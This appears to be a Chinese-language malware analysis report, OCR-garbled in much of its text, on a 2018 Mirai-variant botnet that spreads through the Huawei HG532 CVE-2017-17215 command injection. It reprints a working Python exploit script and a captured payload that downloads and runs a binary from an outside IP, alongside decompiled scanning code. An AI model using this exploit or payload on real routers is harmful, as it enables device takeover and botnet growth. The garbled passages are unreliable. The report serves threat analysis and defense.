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2018 £ 7 H 19 H, >k H NewSky Security 2 & ) 245 i Ankit Anubhav K
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VAL 7 90 24 RS 5 o 8 16532 678 fir A AT IR UL i B 4 B9 TP
YRR 4, M2 5B E SR E BRI A AT, ST 232, e
VE 2 MIE R 104, 244, 72, 82 T B Bps A3 AT B8 A 4 2L KR A
24 BN 1T B 06 KBRS DDos Briti, % 8 £ 3 5K B 55 /N I A 17 S 1 0 2
B,

=, BRAER

1. 55U A BRI WD 5 A . A ORI iy 1155

2. JCE B AR ) B B KR

3+ TEIE HHAS M2 B K

4. KBS FH R AR AR, $THN T 55

INTT = T KA CL R T — 4R BT ki NGEW S 34t %o 1% TR I a5 46 (TPS)

s B gt > OaER

£¥AT FMES  BGHS  ABWOES EERSAS  DDosHiPHE  OverdayHS  VPNAE  HoHS xSt
@ Q& mE s | st i e =i ke
BliE BEZE  BlRE ikt Bt e BmO Bess0
" *[Huawei Router HG532 DeviceUpgrade command injection attack detected!
2018-07-1910:2954 AEIHE  TE  eoeeeeenpgppeeeesseeage TCP 64959 | 37215
25
eventname="|Huawei Router HG532 DeviceUpgrade command injection attack detected!]
2018-07-1910:2953 AGIE HE SR TCP 64989 | 37215
eveniname="|Huawei Router HG532 DeviceUpgrade command injection attack detected!}
2018-07-1910:29:53 ARSI HE SN TCP 64030 | 37215
25
B eventname="|Huawei Router HG532 DeviceUpgrade command injection attack detected!
0180719102052 AEHE BT SN TCP 64080 | 37215
25
_ eventname="|Huawei Router HG532 DeviceUpgrade command injection attack detected!]
2018-07-1910:2951 A HE  «MISTSWSSSENSSNSRR TCP 64059 | 3721
eviceUpgrade com tack detected!
2018-07-19102%:50 AEE  Z S, TCP 64089 | 37215
32 DeviceUpgrade comm ttack detected!
2018-07-1910:29:49 AGIE HZ SESEEERNeegige TCP 64939 | 37215

-~ e N -1 - [ - X

Wial FRETSHEA 456HD FEEDR R food B po ol BRgE0 L BEER 0 BMAC EH®MAC
2018/07/19 10:32:52 0-day Huawei Router HG532 Devicelpgrade command injection attack dete ~ FEK: SIS emsmmwm 53082 37215 p 50 [z 00:0C:29:34:C2:28 00:50:56:BE:4ABC
2018/07/19 10:32:52 0-day Huawei R 53082 37215 top 50 s 00:0C:29:34.C2:28 00:50:56:BE:4ABC
2018/07/19 10:32:52 0-day Huawei R 3982 3721 P 50 i:E 00:0C:29:34.C2:28 00:50:56:BEAABC
2018/07/19 10:32:52 0-day Huawei Router HG532 DeviceUpgrade comma FE: e e 3982 3721 P 50 st 00:0C:29:34.C2:28 00:50:56:BE4ABC
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M. sARDH

A8 7 N4 R AL S92 AE SO R IA R TP (ipvd), FFdid 37215 i 1 (464
FH 7% IR T R ity 1) 6ERT AT TP BEAT F R (SYN TCP), 4R J5 XF BT B #F & 25 A1)
IP & 3% POST #} SCiE =R (B & il R £58%) , FFic 5% sTh A A i TP bk R 15
H & X C&C 4 4574 bot B, siTh ¥l B 5 R H XS & it wget MBI 4
104. 244. 72. 82 T #4f Ui B, b AT S R FIAE I JEk G, sk I i 4 g R A e )
2% (PIAS) .

B 7 9 5% ] AL AR A P G R B

B4 AR IP:

X.X.X.x:37215

FE RFRA TR 32 ZEAH X 4 412 1) 048 9 48 A0 A v S B PR A 1 A RS 3R AT 7 -
TEEF R REATEAT B0 A TR P I FRAT T A I T 2R AN op— B B I R R AR, 2
i b S Bl T IR 7R S A e BOHE O s ke A A7 5
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int _ cdecl anti debug{ BYTE =ai1, int a2)
{

char =u2; [/ eax@1

_BYTE 3; // esi@2

unsigned int vh4; // ecx@3

unsigned int w5; // ebx@3

char vZ?[8d]; // [sp+18h] [bp-58h]@1

sub_8B84AGBB{ BxAU)
v2 = (char =)sub_ 8B4A6HB(1H, 8);
sub_ 8B4BFFD{u7, vZ};

-~

vy = dword_SB4EBCC (dword_8B4EBCC << 11);

dword 88LEBCC = dword SBLEADA;

dword SB8LEBDA = dword SO4LEADL;

dword_SB4EBDY dword_8B4EBDSB;

dword 8O4EBD8 "= ((unsigned int)dword BOUEBDS >> 19) ~ ul © (ul >> B);
us =
*YJ++ =

dword_SA4EBDS ;
u7[v% % strlen{uv?}];

b
while { v3 *= &al[a2] );
b

return sub_ BA4WAGIA( BxAu) ;

BB9EE130 &
EBX 27B8577D
ECX 00088040 &
EDX 8888883D &
ESIFFB14008 &
EDI AE13FD2A
EBP FFB1139C
ESP FFB11898
EIP B3049BE2
EFL 88016286

Sub_8049B58+92

with EIF)

el

46 4D 36 4O 52 30 76 57
4D 57 38 6E 55 76 49 46
74 49 HD 4A 4R 7A 6D 46
68 47 43 49 6D 45 4A 47
32 76 43 4D 77 5A 67 BA
47 4A 50 74 7R 53 7A 38
41 63 37 74 49 A 76 6F
6D 36 5A 32 36 46 31 4A
6E 47 36 GE 48 63 68 6C
30 31 49 57 49 6E 49 61
57 56 4D 4D 38 6C 57 4D
G6E 31 38 30 4 48 49 K8
54 37 6 4D 36 6D 6C 63
49 33 uA 46 5A 41 49 31
EE 6E 31 6D 71 31 36 54

30 uD LA 57 38 70 7a 50

6C 32 74 49 5A 48 32 BN MUK

6E 55 57 56 63 31 7R 7R
71 52 45 61 37 6D 57 36

57 50 58 5A 45 48 77 56 2
32 57 5A 48 49 32 43 39 &

45 76 58 71 5A 39 36 6F
79 u6 68 57 48 48 62 OF
43 32 4A 76 6E 43 6E A9
63 36 6D 58 52 58 52 33
48 36 44 38 46 6D 61 33
50 76 GE 5A 43 61 39 6C
6D 62 7A 6C 39 47 7R 6C
38 u9 57 76 31 38 39 5¢
56 38 38 45 39 31 5A 4A

ni8BJHIHPY|
T7FHGm1cnb
13JF2AI18T
An1ng16TUBBES1Z.

sub_8849368+103

X B FHETE) Patch AT, A Re4kSET S SR HT (8 5 AN E R IR HE R T 167)
PRIGREAR S 04 1. 2 LW AR AT, il KRG sys fork O KB T2, 25
watchdog (B 10) K 1L % & B )5 (X 5 Mirai {87 AR I —H) -

it B &£ ¥ 5B www.6cloudtech.com
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signed int disable_watchdog()

¢

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-—"+" TO EXPAND]

result = sys_fork();
dword_8B4EBCY = result:
if ( result <= 8 )

i

H
return result;

if ( ++result )
{
u? = 1;
sub_884AGBB(G6U) ;
sub_8B4AGBA(7u) ;
sub_884AGBB(8uU) ;
sub_804AGBA{%u) ;
w1 = (char =)sub_ 8B4AGEB(6, d);
v2 = sys_open{ul, 2, uG);
if (w2 == 1)
{
u3 = (char x)sub_8@4A6AB(7, 0);
v2 = sys_openi{v3, 2, -1);
if (w2 == 1)
{
vk = (char =)sub_8B84AGEB(S8, d);
u2 = sys open(uk, 2, -1);
if (w2 == 1)

w5 = (char =)sub_B84A688(2, B);
w2 = sys_open{v5, 2, -1);
if (u2 == 1)

sub_B8B4AG3B(6u) ;
sub_884A638(7u) ;
sub_804AG3B(8u) ;
sub_884AG38(%u) ;
exit({6);

s

sys_ioctl(v2, Bx80845764);

sys_ioctl(v2, Bx86045765);

((void {__ cdecl x)(signed int))loc_88O4C981)(18);

¥

HER AR RS, FEASTT UG T RN 1 2 P TP 3 F8 A0 5 R T A S -
w AN LB S 3w 1, HEERERATE RGO/ B i 1 0-1023:

loc_8849E11:

loc_8@49E11

FIH RG], F3ERE 1D, ACHEFE 1D 2t XOR BydokAE R BENL” 1) 1P ik :

unsigned int decrypt IP()

{

unsigned int v@; // ebx@1
unsigned int wvi; // edz@1
unsigned int result; // eax@1
vl = dword BB4EBCC i {dword BBLEBCC << 11);
dword S8B4EBCC = dword BBLEBDA;

dword S84EADA dword SB4EADL;
dword S84EADL dword S84EADE;
vl = ({unsigned int)dword BSG4EBDE >> 19) i dword S84EADE;

~

result = vi © vB © (ud >> 8);
dword S8G4EGDE = vl © vd © (vd >> 8);
return result;

it B & 4% 5B www.6cloudtech.com 5
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int sub 8849B18()

{
signed int vB; // ebxEl
clock t vi; // eax@i
int result; // eax@1

dword 8B4EBCC = sys time{B);

uB = sys getpid();
dword 884EADA = sys getppid() ~
ul = sub BB4B79D();

dword S84EBDYLY = ui;

result = dword 8B4EADE ~ ui;
dword SB4EBDE = result;
return result;

vi;

SRJE KA Mirai B2 A4 EALHRARBR @ i TP Huhik (B A (REFHNESS)

127.6.0.08/8
8.9.0.0/8
3.90.6.98/8
15.0.8.8/7
56.0.0.0/8
10.9.0.9/8
172.16.6.0/14
192.168.8.8/16
160.64.0.0/180
169.254.8.8/16
Pt R S
192.18.8.8/15

6.9.0.8/8
7.9.0.08/8
11.0.8.8/8
21.0.6.9/8
22.0.0.0/8
26.9.0.9/8
28.0.0.0/8
29.0.0.8/8
30.0.0.9/8
33.0.0.0/8
55.0.0.9/8
214.0.0.0/8
215.98.08.08/8
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I 37215 3 1 R IEF IR MIFR SC (SYN TCP, IP SL+TCP skt 40 =7Y) -

word_BBLE18A = B;
v13 = BYTE3(vi14) | (BYTE1(vih) << 16) | (vi5 << 24) | (({v14 >> 16) & BxFF) << 8);
LOYORD{v13) =  ROR2  (BYTE3({ul14) | (unsigned _ int18)(BYTEZ2(uik) << 8), 8);
vi3 = _ ROR4_ (ui13, 16):
LOYORD{u13) = ROR2  (ui3, 8);
dword_804E118 = uvi3;
word_| BOUE10A = suh 8848128 (&1pBuffer, 28u);
port_37215 = 1
sin_addr = du
word_B8B4E124
word_BB4E124 = suh _BB481EB{ (int)&lpBuffer, Gword_8O4E114, 5126u, 28);
u55 = dword_804E118;
HIWORD({to) = port_37215;
LOWORD({to) = 2;
sys_sendto(s Socket {int)&lpBuffer, 48, Bz40088, {(int)&to, 16);
|

e SRR T SYN Cook i e FOJELES Gk SEQ I ACK KRk 2 1P 4 ACHE) AT I
RIS, IR A

A DU PIIX BB B A I EE A TCP Sk #BY Seq J3° 81509 H 1 TP ki, £E 31
Hode 6 BLE I iR 2 AT R DE R R B )

BUEEKAKT0FH(ELEE5EELE)

BUEERAFEAYN

im0 FF37215 GRIEF Biw0)
M OETFAREETEHNm O

AIETCP
.SYN = 1 & ACK = 1 & RST = @ & FIN = e(FRHEZEER S ITARTH)
GEIPETRETCP ACK(HIAS) - 1

X A 1 IR A e B (T AE WX%EIT“%I:{WJ@?E@EJZIJJ), LSRRI TP
A -5 3 B 5 SCER 4589 bot Hb, T8 I 0 AN ISCR AL AL 0385 5] 55 SGHR 23,
FRATTHENT H 40 R B9 bot Stk (Kdl)

it B & 4% 5B www.6cloudtech.com 8
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*( DUORD =)ui7 = 8;
u18 = SYS_RECUFROM(s_Socket, (int)&ul5, 1514, 0x4080, 0, 8);
if ( w18 <= 8 || *(_DWORD =)ui7 == OxB )

goto LABEL 71;
if ( (unsigned int)v18 > 39

= Localaddress
ulis &
source_port == 21
uh3 == (_WORD)dst_port )

if { BYTE7(u5B) & 2 )
if ( BYTE7(u5B) & 0x18 )

if ( *(BYTEZ(u50) & &) && *({BYTE7(u58) & 1) )
{

HIWORD(v19) = WORD2{v5Aa);

LOWORD{u19) = _ ROR2__ (WORD1({u50), 8);

vi19? = _ ROR4 (w19, 16);

LOWDRD(w19) =  RORZ  (wi®, 8);

——ul9;

LOWORD(v19) = _ ROR2_ (w19, 8);

ui® = RORM  {ul9, 16);

LOWORD(u19) = _ ROR2_ (ui9, 8);

struct Bot 0 struct Bot_ 1 struct Bot 2
{
BxFFFFFFFF OxFFFFFFFF + OxFFFFFFFF
time (@) time(8) +4 time(@)
flag/status flag/status +8 flag/status
+12
+16
Length Length +28 Length
char * Str[64] char * Str[64] +24 char * Str[64]
char * Stri[960] char * Stri1[968] +88 char * Stri1[96@]
char * SendBuf[1024] char * SendBuf[1624] +1848 char * SendBuf[1824]

struct Bot n

I

L

+8 BxFFFFFFFF
+4 time(Q)

+8 flag/status

+16
Length
char * Str[e64]
char * Str1[960]
char * SendBuf[1024]

LABEL 78@:

u22 = source_port;
={ DWORD =)}{uv28 + 12) = src_ip;
*(_ WORD =)({v2B + 16) = wv22;
Connect({{int =)u28});

b

while { ++ul6 5

{
2l = v21;
u2i += 2072;
if { *=( DWORD =){u28 + 8) )

goto LABEL _78;

it B & 4% 5B www.6cloudtech.com 9
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Hh HE 450 B w8 EH AL flag/status FEA ZMORA, 0 RFE R
B, 2 &M, 3 REDTEMK.

W YT flag A 0, BN I B 2504 R IR BB (e AH K bot /52, Wl
RN 2 RS IRIAFI A, W8 3 KIIRIFH 25 K.

sub_8B4AEGB(
(_BYTE =)(u31 + 1848},

vh42 = strlen{(_BYTE =){uv31 + 1848));

SYS_SEND{*{ DWORD =)u31, v31 + 1848, vh2, Bx4000);
memeset B{v31 + 1848, 1824);

memeset B{v31 + 24, 1824);

sys_close{=(_DWORD =)u3l);

Connect({int =ju3i};

*( DWORD =){u31 + B8)

M EFRATTA] LLE 3% POST B4 5 2 7 HIBE W _E A5 1) CVE-2017-17215 JRiH A
FH GEE A2 i 2 H0 A7) ARRS — B OX AR SHIRIR 4015 M0 2 ke, G D47 s ml bA
BERANH =)

192.168.157.170 TP 74 53982 z 37215 [sYN] mmmm ﬂHD}M Len=0 MSS=1460 SACK_PERM=1 Tsval
192.168.157.170 TP 035713 Win=29200 Len=0 MSS=1460 SACK_PERM=1 Tsval
192 TP 5713 ﬁﬁBﬁm Len=0 MS5=1460 K_PERM=1 Tsval
115 TP 5837215 > 53082 [SYN, ACK] Seq-1612534709 Ack=1083035714 Win-64240 Len=0 MSS=1460
Tcp 60 53982 > 37215 [ACK] Seq-1083035714 Ack=1612534710 Win=29200 Len=0
6 4.119455000 115.131.160. 80 TP 864 53982 > 37215 [PSH, ACK] Se
7 4.119491000 115.131.160. 80 TP
8 4.202850000 192. T
.157.170  Tcp
11 1000 uz 168.157.170 TP 3 i n 460
12 7.272165000 102.168.157.170  115.131.160. 80 Tcp PSH, ACK] Seq=1083035714 Ack=1612534710 Win=29200 Len=810

115.131.160. 80

13 9.165312000 192.168.157.170
14 0

[ rollow TCP Stream - o X

Stream Content
POST /ctrTe/Devicepgrade 1 KTTP/L.1 =
[ Internet Protocol version 4, srci 192.168.157.170 (192.168.157.170), DSt |Content-Length: 43

1 Transwission Control protocol, Src Port: 53982 (53982), st port: 37215 (| Comnection: keep-alive

© pata (810 bytes) Autharwzamun pigest usernane="ds]f-config", realn="huaweitomecateway”,
Data: 504F5354202f6374726C742f446576696365557067726164. nonce=" cefb1f9edee336e3569d7 5ee30" = /ctr Tc/Deviceupgrad
[Length: 810] |respons: e ST Rivadoabaaraet sadamasorerdc, 1gor Tehimw ao FUth", nc-00000001,

cronce="248d1a2560100669"
0000 00 50 56 el 20 5d 00 Oc 29 34 c2 28 08 00 45 00
0010 03 52 32 2b 40 00 40 06 02 54 O a8 9d aa 73 83

a0 19

0 2><ssenvelope amlns:s="http: //schenas. xnlsosp. org/soap/ envelope/”

0020 50 d2 de o1 S5f 40 8d dO 42 €0 1d 53 b6 50 -5.P. || ls:encodingstyle="http: //schemas. xmlsoap. ap/encoding,
0030 72 10 b4 78 00 00 50 4f 53 54 20 2f 63 74 72 6c PO ST /ctrl || xmins;:u="urn:schel masfupnp org: serw(e wANPPP(unnecnun 1 ><NewstawsuRL>s%/bm/busywa
0040 74 2F 44 65 76 69 63 65 55 70 67 72 61 64 65 Sf  T/Device qurade Wget -g 104.244.72,82 -1 /tmp/x0j - /huawei; /bin/busybox chmod = tmp/xaj; /tmp/
0050 3L 20 48 54 54 50 2f 31 2e 3L Od 0a 43 6f Ge 74 L1 HTTP/L .l..cont || |xoj huawm)</NEWS(atusuRLxNewDuwmuadURus(e(hu HUAWEZUPNP) </NewDon0adURL></

A

d  ent-Leng th $50: u:lpgrade></s :Body></s :Envelope>

5 .Connect ion: kee

2 p-alive. .AcCept:
*/*..Au thorizat

2 don: Dig est user

9 d:

name="ds 1f-conf1
q", real m-"Huawe

it B & 4% 5B www.6cloudtech.com 10
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Huawei Router HG532 - Arbitrary Command Execution

EDB-ID: 43414 Author: anonymous Published: 2017-12-25
CVE: CVE-2017-17215  Type: Webapps Platform: Hardware
Aliases: N/A Advisory/Source: Link Tags: N/A
E-DB Verified: (& Exploit: § Download / View Raw  Vulnerable App: N/A
« Previous Exploit Next Exploit »

1 import threading, sys, time, random, socket, re, os, struct, array, requests

2| from requests.auth import HTTPDigestAuth

3| ips = open(sys.argv[1], "r").readlines()

4] emd = "™ # Your MIPS (SSHD)

S| rm = "<?xml version=\"1.8\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"
s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body»><u:Upgrade xmlns:u=\"urn:schemas-upnp-
org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</MewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)
</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>”

6

7| class exploit(threading.Thread):

8 def _ init  (self, ip):

a threading.Thread.__init_ (self)

1@ self.ip = str(ip).rstrip(‘\n")

G5 def run(self):

12 try:

13 url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade 1"
14 requests.post(url, timeout=5, auth=HTTPDigestAuth{'dslf-config', ‘admin’), data=rm)
15 print "[SOAP] Attempting to infect " + self.ip

16 except Exception as e:

7 pass

18

19 | for ip in ips:

20 try:

21 n = exploit(ip)

22 n.start()

23 time.sleep(8.03)

24 except:

25 pass

Mi% exploit A LLE H, payload #t 2 F)H wget MFEEmFE TP 104. 244. 72. 82
ARG B R, FEPAT, TR TR A BB 54, H AT EIZE S B RL, FE
AREHESH exploit PREL 8 K, RETREL I KROS5 IR, 153k

N

il

ez |

FNERE DT BLOIE AT RE AR, SRR B0 I FHE AL, 2 BB AR HE KR H0 4
K, AR BHEE LA T B, R = .

Eﬁ: B %&£ ¥ B B www.bcloudtech.com 11
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37215 [SYN] Seq=1831284205 win=777 Len=0

N
find

60600 177. 081191000

Frame 60600: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface O
Ethernet II, Src: vmware_34:c2:28 (00:0c:29:34:c2:28), Dst: vmware_el:20:5d (00:50:56:e1:20:5d)
Internet Protocol Version 4, Src: 192.168.157.170 (192.168.157.170), Dst: 109.39.45.237 (109.39.45.237)

0000 00 50 56 el 20 5d 00 Oc 29 34 c2 28 08 00 45 00 T2 T T W
0010 00 28 cd 9e 00 00 40 06 b3 ca c0 a8 9d aa 6d 27 B T T m"
0020 2d ed df e8 91 5f 6d 27 2d ed 00 00 00 00 50 02 e MR | st P.
0030 03 09 a7 15 00 00 00 00 QO 00 00 OO  ........ .ees

@ | File: "C:\Use | Packelsi2018959 bisplayed: 2018959 Marked: 0 Load time: 2:30.544

Fiv RER T R BIR

CVE-2017-17215 (Huawei Router HG532 RCE) /& 2017 4 11 H 27 HH Check Point
LRI R ) /N0 HG532 R B A8 A7 75 1 — D AR iy 2 AT IR, 1
HOZMMBIZ 4> Mirai {87148 HTHR AR A8 QAN 2 s, 8 50 Y
3 16 SRR W P RAT DA BZ AR W 26 R A T Mirad {87 W48 AORIT IR,
TETPATIZNAE T JUAZ AR LR Ui B L BR Mirad {288 O SRR -

_ Mirai Botnet Huawei HG532 based Botnet

FHESHINZE  oxdeadbeef @xBAADF@@D
—FoRIABHAR —FoRHETAR

IPREAR BV E A+ R RN REHLE A+ BB 25
TN/ BEER SYN Cookie(SEQ+ACK) SYN Cookie(SEQ+ACK)

TAT N

Eﬁ: B % £ ¥ B B www.6cloudtech.com 12
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uint32 t table key = |[Bxs=asihesi |
struct table walue table[TABLE MAX EE¥S];
static void toggle obf (uint8 t id)

H
1) Pl
struct table wvalue *val = &table[id] ;
uint8 t k1l = table key & Oxff,
k2 = (table key >»> 38) & Oxff,
k3 = (table key >> 1&) & Oxff,
k4 = (table key >> 24) & =
for (i = 0; i <€ val-Zwal len;: i#+)
| {

val->wval[i] *= kl1;
val-»val[i1] *= kZ2;
val-»val[i] *= k3;
val->val[i] *= k4;

int cdecl sub 864A63B8{unsigned int8 al)

{
£/ [COLLAPSED LOCAL DECLARATIONS. PRESES KEYPAD CTRL-"+" TOD EXPAHD]

Ul = &dword BBLE1BB[2 = ai];
result = BAADFBOD;
if ( =({ WORD =)yl + 2} )
{
u3 BAADF BAD ;
ulh a;
w5 = {unsigned int)BAADFBBD >> 8;
v8 = BYTE3(BAADFOOD) ;
uh {unsigned int)BAADFBBD >> 16;
do
1
*#{ BYTE =)({=u1l
=#{ BYTE =){=u1l
*#{ BYTE =)({=u1l
Uiy = ul++;
*(_BYTE =)(*u1 + u7) "=
result = vi[1] B2FFFF;
hé
while { result > ulh );
¥

return result;
¥

IP 494875 S - AL A -
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Static uwintd2 €%k, yv. Z. W;
void rand init (void)
H

®x = time (NULL) ;

y = getpid() * getppid();

2 = clock() ;

w ==z " v;

-}
uint32 t rand next(void) //period 2796-1

H

b 2 & o=y

t =t €< 11;

tE =1 > 8;

X =y ¥y =2Z; Z=W;
w h=w »» 15;

w = t;

return w;

clock _t rand _init()}

{
signed int v@; /7 ebx@1
clock t vi1; 7/ eaxiEl
clock t result; 7/ eaxiEl

dword 8B4EBCC = sys timeid);

ull = sys getpid();

dword 884EADAB = sys getppid() * vi;
ul = sub BB4B7OD();

dword S84E8D4 = ui;

result = dword 884EGDB © ui;

dword 884E8DE = result;

return result;

int rand next()

{
unsigned int v@; /7 ebx@1
unsigned int vl; /7 edx@1
int result; // eax@1

~

uld = dword BO4EACC
dword S84EACC dword S84EBDO;
dword S84EBDO dword S84EBDL;
dword S84EBDL dword S84EBDSE ;

{dword BBAYEBACC << 11});

ul = {(unsigned int)dword BB4EBDE >> 19) - dword S64EGDE

result = vl ™ uwd * (vd >> 8);
dword BB4EADE = u1 ™ u@ " (uw@ >> B);

all
IP B4

it B &£ ¥ 5B www.6cloudtech.com
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static ipv4_t get_random_ip(void)

tmp = rand next();
ol = tmp & ;
02 = (tmp >> 8) & Oxff;
03 = (tmp >> 16) &
04 = (tmp >> 24) &
¥
while (ol —
(ol =
(o1l —
(ol =
(ol =
(ol —
(ol =
(ol = 172 && 02 >= 1€ && 02 < 22) 11
(ol == 100 && 02 >= 64 && 02 < 127) ||
(ol == 169 && o2 > )1l
(ol = 15% && 02 >= 13 && o2 < 20) |
(ol >=

el = 7 [l oL =11 [l ol ==21 [] o1 ==22 |1 0ol =26 [| o1 =28 | 0ol =2 IT 21 11 codi==13% IT o1l == 8§58 11 0)l==23214 [] ol = 21§}

if { (_BYTE)ulh = 192 )
break;
if { BYTE1{vik) t= 168 )
1
' LABEL_ 14:
} if ( (_BYTE)uik t= 169 )
goto LABEL 15;
if ( BYTE1(vih) t= 255 )
goto LABEL 163
b
¥
if ( (_BYTE)vlh == 172 )
{
if { BYTE1{vik} <= 15u )
goto OK_to _next step;
if ( BYTE1{v14) > 31u )
1
LABEL 15:
if ( ( BYTE)ulih == 198 )
goto LABEL 43;

LABEL 16:

if { (unsigned _ int8)vilh <= 223u )
goto OK_to next step;
H
b
elce
1
if {( { BYTE)ulh ¥= 188 )
goto LABEL 14;
if { BYTE1{ul14)} <= 63u )}
1
OK_to_next step:
if { {unsigned  int8){vik - 6) > 1u
&k { BYTE)ulh t= 11
& ( BYTE)ullh *= 21
&& ( BYTE)ulh t= 22
&& ( BYTE)ulh t= 24
& ( BYTE)ulh = 28
&k ( BYTE)ulh t= 29
&k ( BYTE)ulh t= 38
&& ( BYTE)uih t= 33
&& ( BYTE)ulh t= 55
&& ( BYTE)ulh t= 214
&& ( BYTE)ulh t= 215 )

U E
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iph—>daddr = get_random_ip () ;
iph—->check = 0;

iph->»check = checksum generic({uintlé t *)iph, sizeof (struct iphdr));

if (1 % 10 = 0)
i
tecph->dest = htons (23232);
}
else
{
tcph->dest = htons(23) ;
}
tcph->seg|= iph->daddr;

if (n € sizeof (struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr !'= LOCAL ADDR)
continue;
if (iph—>protocol != IPPROTC_TCP)
continue;
if (tcph->»scurce != htons(22) && tcph->source '= htons(2223))
continue;
if (tcph->dest !'= source port)
continue;
if ('tcph->syn)
continue;
if ('tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->£fin)
continueﬂ
if (htonl (ntohl (tcph—*ack _seg) - _q '= iph->saddr)

continmeT

word_8B4E18A = sub_8848198(&1pBuffer, 28u);

port 37215 = Bx5F%1;

TCP_Seq_Hum = dst_addr;

wora_su4c1zy u;

word_SB4E124 sub_8B8481EB{{int)&lpBuffer, &word_ S8O64E114, 5128u, 20);
u55 = dst_addr;

HIWORD(to) = port_37215;

LOWORD(to) = 2:

sys_sendto(s_Socket, (int)&lpBuffer, 48, Bx4808, (int)&to, 16);

if ( (unsigned int)uis > 39

&k dst_ip == LocalAddress
GE 6 == 6

&b source_port == Bx5F91
& w43 == (_WORD)dst_port )

if { BYTEF(vSH) & 2 )

if { BYTE7(v58) & 8z18 )
{
if { *(BYTE7{(v58) & 4) && *(BYTE7{(v58) & 1) )
{
HIWORD(u12} WORD2{w58};
LOWORD{u12} _ ROR2__ (WORD1{u5@), B});
v1? = _ ROR4_ (w19, 16);
LOWORD(u19) = ROR2 (ul9, B8);
--u19;
LOWORD({u12) = _ ROR2_ (w19, B);
v1? = _ ROR4_ (u19, 16);
LOWORD{ui2) = ROR2__ (w19, 8);
if ( src_ip == vu19 )
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H MR 26 B #5 J T (CVE-2017-17215) $ 5 AR, Bl 2 1 SR [ % Fh LoT 187 45
IENE Z R A L], Horh F 2404 Satori (Okiru) « Jenx. Wicked.,
Omni. Owari. Sora %, Wicked. Omni. Owari I Soar ZH{E 7' 4L H H [6]— 2
KA N, HMW4 2 “chked’ﬁ A4 AR 4 H 4y NewSky Security B %1% 1oT

% o o T - & B 4% R W
(https://blog. newskysecurity. com/understanding—the—iot—hacker—a—conve
rsation—with—owari—sora—iot—botnet—author—-117feff56863), M

CVE-2017-17215 JwiAF IR R1 28 I, & o] GE b ABE 7 4835 Ja VR & KO8 &
Wicked, BAMNRATGIREAF T payload HAEZRAG A% TP AT IEEE M, &
Il twitter F—44°4 400kQBOT [ AN £ kB8 = [0l & 360Netlab JF A FRE 2% IP
A

. 400kQBOT @ ot - Jul 19 v
[ - : e
Replying to @sbliNetlab

haha yes

root@localhost:~# echo "Netlab are you ready yet?"

Net]ab ready yet?

root@l host:~# 1fconfig

etho pg;ap Ethernef HWaddr DD 16: aT a8:02: fj
d r 244 16 P G e

"GET shuaweil HTTP/1.1" 20
"GE ,-'hquP:L HTTP/1.1

hua\-:e:L HTTP/1.

T |fhuawel |HTT
/huawei HTTPR/
7 HTTP71.1" 2008 1

T /huawei HTTP/1.1" :
T /huawel HTTP/1.1

- [19/

~C
root@local # 1fconfig
etha ncap: Ethernet HWaddr CICI 16:

Mask:255.255.255.0

XM TP EHIRE, HUE 7 W 2% v 68 & fH 400kQBOT 44, AR ER Wicked
FELA /N NS ? XA A, PR R AT Be M At TS T [ —F4k, 4 A1k,
B ZAMEF LS. N HIHEFRATE — T BB 1w 11 gt -

Data for Port 37215

m by dragging your mouse.

o — e o=,
0

8. Jul 10. Ju 2 jul 4 Jul 6. Jul 18. Jul 20. Jul 22 Jul 24.Jul 26. Jul 28. Jul

Reports/Day  —~ Targets/Day Sources/Day
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BATATLLERIM 7 H 17 JFER, &F0F 37215 i D ARSI, 1F 2108 N
IREN IR, BEGFIRTEN, B8 A 1 HHEMEsh Oy 0, 0 H M 2
T2 A B B SR rp R B A R Y 37215 B ST 0 (RTRE T FH P % H SR -k
BERITF RS, N B A TR 11 37215 B & Te Sr gt EE o b (2017 4F 11
H 12 HA1 2018 4E8 H 2 H) :

2017 4F 12 H 12 H (& aiaE 250, 000+) -

Angsls

( M
ol Zimbatrwe Madagascar

MM Bary ‘;lhl
ih l‘ul"rllu:
-

-+= Targets/Day Sources | Day

2017512 12H 372153 [

2018 £ 8 H 2 H (i #&feaciE:21) :
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201848 12H 3721554

MR GE-F AT RS, BN a3 52 Lok, 15 8 N H W RIlHE], #%
187 2T XA 5 HH 8y HGH32 i I H#TE 3 D& THAT , MBS 4G
AefgEil, el 2 PwE A AR R & 3 BT Mg, REST ToT
Botne N iZ% #1038 /i 1 AT iR BB % Wicked 5 5456 O M0 BE AR 7 X 2% B3 T
CVE-2017-17215 Z 4k, 54 2 HL[F) Real tek JRi CVE-2014-8361 (52869 ¥ [1) 4
WAATRIA, R 2 E i 1 52869 i L gt tHEids (R &880 i 3 #7E 3h)
2017 4F 12 H 12 H (& Fa 8 & 13, 000+) :
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LTI A R

WL Mam

maslayin

Indanesia

o —

=+ Targets/Day Sources Day

20174124 12H 528694 ||

2018 £ 8 A 2 H (K& TBoEiE 41) -
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LTI A R

= Targets Dy Sowrve Dy

20184821 5286941 ]

B 52869 ¥ IS8 HEAE HEAT R b, FRATT T DLR B iZ s L R R A
2017 4 12 H 4 HA g 2R K, Hygshif el 55005 37215 5 14—,

it B &£ ¥ 5B www.6cloudtech.com

21



Ecloud

nAx LTI A R
37215
TTEEE L
52869
A

fE2018 47 H 18 HEI 7 A 19 HHAMEEAFE N, KAk 4000 24, BEJE1E 7
H 26 H B EcM o D iEE RIgE G, [FE— R NIAE] 34, 200 4>, HiEE
37215 By AT BRI 4 AH 21, A AT BE A2 1248 7 45 2N N B XS CVE-2014-8361 (1)
TR FH At

gilb, WATVANRNEZWECNET MEFEARTTREL L0 E 2 ANk F A
(CVE-2017-17215 1 CVE-2014-8361) 1ff HASR PR FFIGER, J5 42 R] BRI S 4k 4N
155 56 2 1 2 R A & TR TR (ST 2= 7 K3 72 i 23R IR 2 NIl s I -4
SRR HR IS B ) o B AEN PR T R Miral #EAMAIRIDZ 5, HEA TR
ZHT Mirai BB W25 FR (BT HE M 352 8T Mirai) X BB Z R Ul iE T &
